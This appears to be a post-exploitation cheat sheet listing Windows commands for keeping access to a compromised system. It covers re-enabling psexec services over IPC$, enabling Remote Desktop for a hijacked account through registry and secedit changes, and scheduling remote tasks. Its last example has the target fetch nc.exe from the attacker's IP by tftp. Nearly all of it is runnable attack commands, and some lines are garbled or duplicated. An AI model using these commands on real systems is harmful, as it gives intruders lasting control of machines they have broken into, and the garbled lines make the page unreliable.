# Windows General Persistence Commands Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. ### Enable `psexec` The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below.

c:\> net use \\[TargetIP]\ipc$ username /user:password
c:\> sc \\[TargetIP] config netdde start= auto
c:\> sc \\[TargetIP] config netddedsdm start= auto
c:\> sc \\[TargetIP] config clipsrv start= auto
c:\> sc \\[TargetIP] start netdde
c:\> sc \\[TargetIP] start netddedsdm
c:\> sc \\[TargetIP] start clipsrv

### Enable Remote Desktop Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below. 1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.

     [Unicode]
         Unicode=yes
         [Version]
         signature="$CHICAGO$"
         Revision=1
         [Privilege Rights] [Privilege Rights]
         seremoteinteractivelogonright = hacked_account
         seinteractivelogonright = hacked_account
         sedenyinteractivelogonright =
         sedenyremoteinteractivelogonright =
         sedenynetworklogonright =

1. Create another file named `enable_ts.reg` containing the contents below.

     Windows Registry Editor Version 5.00
     [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
     "fDenyTSConnections"=dword:00000000
     "TSEnabled"=dword:00000001
     "TSUserEnabled"=dword:00000000

1. On the remote system, execute the following commands:

c:\> sc config termservice start= auto sc config termservice start= auto
c:\> regedit /s enable_ts.reg
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
c:\> gpupdate /Force
c:\> net start "terminal services"

### Scheduler The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. It usually runs at the SYSTEM account privilege level. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.

c:\> net use \\[TargetIP]\ipc$ password /user:username
c:\> at \\[TargetIP] 12:00 pm command

An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`
